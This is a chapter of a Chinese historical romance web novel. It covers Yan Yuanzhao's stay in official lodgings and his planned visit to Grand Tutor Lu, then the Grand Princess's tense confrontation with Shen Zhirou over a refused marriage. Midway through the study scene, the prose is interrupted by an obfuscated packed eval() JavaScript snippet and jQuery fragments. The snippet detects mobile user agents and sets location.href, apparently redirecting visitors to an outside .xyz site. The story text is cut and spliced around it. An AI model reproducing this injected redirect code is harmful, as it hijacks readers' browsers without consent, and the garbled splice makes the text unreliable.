“吁——”
一匹健壮的青骢马遥遥奔来，刚刚好在离坊门口几尺之距时刹住蹄子。
马倌闻声而来，孩气的脸上带笑，“郎君安好。”
晏元昭淡笑颔首，利落地跃下马，提袍进坊。
这座坊是东都官舍所在，专供官员赁住，几十进庭院如棋盘格一般整齐排布，彼此以围墙相隔，横纵皆有夹道让人往来通行。
长公主在东都的别苑距御史台太远，晏元昭又不愿在别人府上下榻，权衡之下，住进了官舍。因着他身份不低，一人独享了最西头的一进院子，清幽宽敞，不受人打扰。
然而今日却没那么安静。
此起彼伏的人语声与笑声海浪一样涌来，灌进他耳朵里。炊烟越过粉墙，袅袅地飘入庭院，满载熟透的黍饭馨香。
“隔壁赵主事的家眷来了，他们人多，又开了火做饭，才闹出这么大动静。小的去和赵主事说一声，让他莫吵到郎君。”来送冰盆消暑的官舍小吏解释道。
“不用。”晏元昭谢绝小吏好意。
大周官员异地为官，尤其是短期出使，家眷不一定能随行。住官舍的更是十人里有九人不带妻儿，身旁只有一两个小厮伺候，每日冷锅冷灶不开火，吃公厨的大锅饭。
这位赵主事难得与家人团聚，听起来是极开怀的。
几个孩童跑来跑去地打闹，小女孩不知何故突然哭了，大人严声训斥两个小男孩，没过一会儿，小女孩破涕为笑，一群小家伙们又开始咯咯大叫。
晏元昭立在庭中，饶有兴致地听着隔壁的喧嚷。
这种热闹向来离他很远，年少失怙，长在公主府，大家族几代同堂手足相依的生活，他没有经历过，亦不会羡慕。
出仕后几回奉命出使监察地方，短则半月，长则半年，都是孑然一人快马奔波，不觉孤寂，只有潇洒。
但是这一次，好像不太一样。
圆月高悬，柔蓝的月光浮在庭院里，清如水，薄似纱，给人有关美好与团圆的一切想象。
晏元昭极其自然地想起了那个小丫头。盈盈笑面，莺语丽声，振振有词地说她要为他生儿育女。
嗯……儿女若是随了她的性子，可就叫人头疼了，还不得像隔壁这些小家伙似的令人抓狂？那边已换作小男孩哭了。
他公务繁忙，经常出京，得想法子抽暇教导孩子。
还要留心，别让母亲的公主脾气带坏他们。
白羽提着一盏橙黄的六角灯进来，看见自家郎君站在院里，时而微笑时而皱眉，不解道：“郎君，您怎么不进屋啊？”
晏元昭回了神。
“屋里热。”他道，抬脚跨过三级台阶，进了房。
白羽也跟着进去。
屋里摆着两盏冰盆，冰气送爽，清凉宜人。这也不热啊，白羽心想。
他见晏元昭眼神看来，开始汇报，“小的今日去夷山问了，卢太傅刚好一个月前从卢家养好病回到山上，我递了您的拜帖，说您三日后登山谒访，老人家高兴极了，说斋前种的苋菜又肥又嫩，他要亲自采摘拿来招待您。”
晏元昭欣慰，“既能亲自采摘，想必太傅身体大好了。”
“那是，浑看不出是八十多的人！”
“你让连舒明日走趟别苑取副棋具过来，要那套鎏金松鹤纹银罐配玉棋子的，到时候带着上山送给太傅。”晏元昭吩咐。
白羽去西厢转告连舒的时候，叮嘱道：“别苑还有一套鎏金棋具，棋子是瓷的，和玉的那副挺像，你可别拿错啊。
“我懂，拿贵的。”连舒感叹，“想不到咱们家主子竟和卢太傅有私交。”
大周早年皇位更迭频繁，朝局不稳，卢涯辅佐四位帝王，顾命两朝，是天下公认的肱骨之臣，当世大儒。泰康七年，他激流勇退，以太傅致仕，与好友隐居夷山，尔来已有三十年。
其间无数权贵大臣、儒生名士闻名拜访，能得太傅一见者寥寥。
白羽笑道：“你来公主府年头短，不知道这事很正常。不过故驸马善抚琴，名动京华，你应该晓得？”
连舒点头，“当然。”
“驸马的琴技也非凭空而来，而是习自名师。”
连舒惊讶，“不会就是卢太傅吧？”
“那倒不是，是和卢太傅一起隐居的朋友，名叫玉溪，是个挺有名的琴师。此人其实姓秦，和早年间倒台了的秦相沾点亲戚关系，驸马常常上山请他指导琴技，练琴之余，还向太傅讨教学问，算得上太傅学生了。不过两位先生都低调，不让驸马宣扬，所以外人都不知道。”
“后来驸马入了朝堂，也没疏了和太傅的走动，咱们小郎君才三岁，就跟着上了夷山，你别看郎君现在持重，他那时见太傅第一面就揪着老人的胡子问怎么是白的，哈哈！”
白羽一家子都在公主府伺候，这些事他知之甚详，说来宛如亲历。
连舒长长地喔了一声，“二十年过去了，太傅的胡子岂不更白了？”
“是啊，头发也全白了，和仙人似的。”白羽笑道。
......
钟京，沈府。
两日里，家主归府，禁足娘子，公主府上门求娶遭拒，沈娘子绝食，几件事情不胫而走，阖府不论主子下人，都在议论。
没想到这些还没消受完，当晚又发生了一件大事。
明昌长公主亲临沈府了。
只见身材高挑的雍容贵妇由嬷嬷搀着，从影壁后缓步走来。宽幅的朱红罗销金裙洋洋铺开，宛如天上云锦一般秾艳华美，璨璨夺目。高髻上的珠冠勾连金丝花枝，高翘的凤首镶嵌莹莹绿松石，云鬓花颜，容色摄人。
丫鬟小子们哪里见过这样盛妆的贵人，纷纷躲在墙后树后围观，窃窃私语。
“听说明昌长公主年轻时是京里第一美人，现在也依然美得很啊！”
“她的凤钗都是金的吗？那得多沉啊。”
“管它沉不沉呢，肯定是纯金的，长公主这种身份的人，连银鎏金的都不会戴。唉，我们在沈府做一辈子活也买不起一支鎏金钗……”
“长公主为何来我们府上，难道还是为沈娘子的婚事？”
“……”
沈执柔面沉如墨地出来，“长公主驾临鄙府，臣有失远迎。”
长公主微掀眼皮，流露出冷冷的傲意，“沈侍郎知道失了远迎，还不请我进屋，让我在这吹风？”
沈执柔从喉咙里挤出声“请”。
沈执柔和长公主去了书房，宋蓁欲作陪，被沈执柔拒绝了。
书房里银灯两盏，两人隔着一张胡杨木案
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017108|158671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
远远对坐。
长公主嫌弃地看了一眼案上的茶水，“这么多年过去，你好不容易当个四品官，怎么府上还是这么破陋，待客的茶也还是粗蠢的龟山青。”
“臣兢兢业业为官，家财有限，自然不如公主豪奢。不过，您看不上的龟山青，一壶也要钟京百姓一个月的米粮钱。官之俸禄，民之膏脂，如何能靡费？”
长公主毫不买账，“又是这套酸腐陈论，你要是真心疼百姓，怎么不见你把钱捐了赈灾？光在自己家里抠抠搜搜，连累妻儿和你受苦！”
沈执柔肃脸，“长公主深夜来访，就为了指导臣如何花钱吗？”
长公主抚着指上玉戒，凤目凛然，“你为何拒我儿婚事？”
沈执柔淡淡道：“上午就和贵府嬷嬷说过了，一来老夫已为小女立下婚约，二来鄙府门庭破陋粗蠢，不堪与长公主结亲。”
长公主冷笑，“你也知道你门庭不配，我不计较这个与你结亲，你就该领情才是。元昭这样的郎君，钟京打着灯笼都难找，他的青云路才刚刚开始，过个几年官位赶上你轻而易举，现在天赐姻缘让他为你女婿，你不感恩戴德就罢了，还推三阻四！”
她停了停，“我知道你这个人，嘴上说着仁义道德，其实虚伪投机，有好处的事从不落下，已有的婚约根本不是问题。你说实话，为何要拒婚？”
沈执柔拱拱手，“长公主如此想臣，可就大错特错了。臣说的全是实话，婚约既立，就没有理由更改，这招令郎为婿的好处，让给别人吧，老夫敬谢不敏了。”
长公主看他油盐不进的样子，不再多问，亦淡了眉眼平静道：“可惜你没得选。皇兄抱恙，我不想拿此事打扰他，才特意过来和你商量。既然你敬酒不吃吃罚酒，那我明日就进宫找圣上给他们两个赐婚，想来你也不敢抗旨。”
沈执柔脸上纹路愈加深嵌，竟被这番话气得咳嗽了一声，“好啊！长公主当年逼婚晏家，现在又为儿子逼婚我沈家了！”
驸马去后，圣上优容长公主，但有所求，无不应允。沈执柔心里明白，她说明日去请旨，就真的能请回赐婚的旨意来。
这些年她深居简出，收敛锋芒，但行事霸道的底色丝毫不减当年。
“元昭是我儿子，我当然要为他娶到中意的女子，不然怎么对得起先夫？”
沈执柔深吸一口气，语气里露出些许颓然，“老夫真是不明白，我那劣女就这么招令郎喜欢？”
长公主理所当然地点头，“你是多不喜欢你那个女儿，要把她远嫁到两千里外给人当填房，还不高兴我儿中意她。”
沈执柔沉默了很久。
“她的生母是我府上的一个丫鬟。”
长公主淡淡道：“元昭不嫌弃。”
“那个丫鬟……当年故意打扮成阿微的样子接近我，她如此亵渎阿微，我怎么能让她生下来的孩子嫁给虞卿的儿子？”
虞卿是晏翊钧的字。
长公主美目怔愣片刻，喃喃道：“我说怎么有些像她。”
“她的行径确实低贱。”她嫌恶道，“但祸因不是在你吗？若非你把持不住，哪里来的这个丫头？沈执柔，你自称君子，却对这种事耿耿于怀，还因此迁怒小辈，坏人姻缘，可笑至极！若不是元昭实在喜欢她，我才不愿和你做亲家！”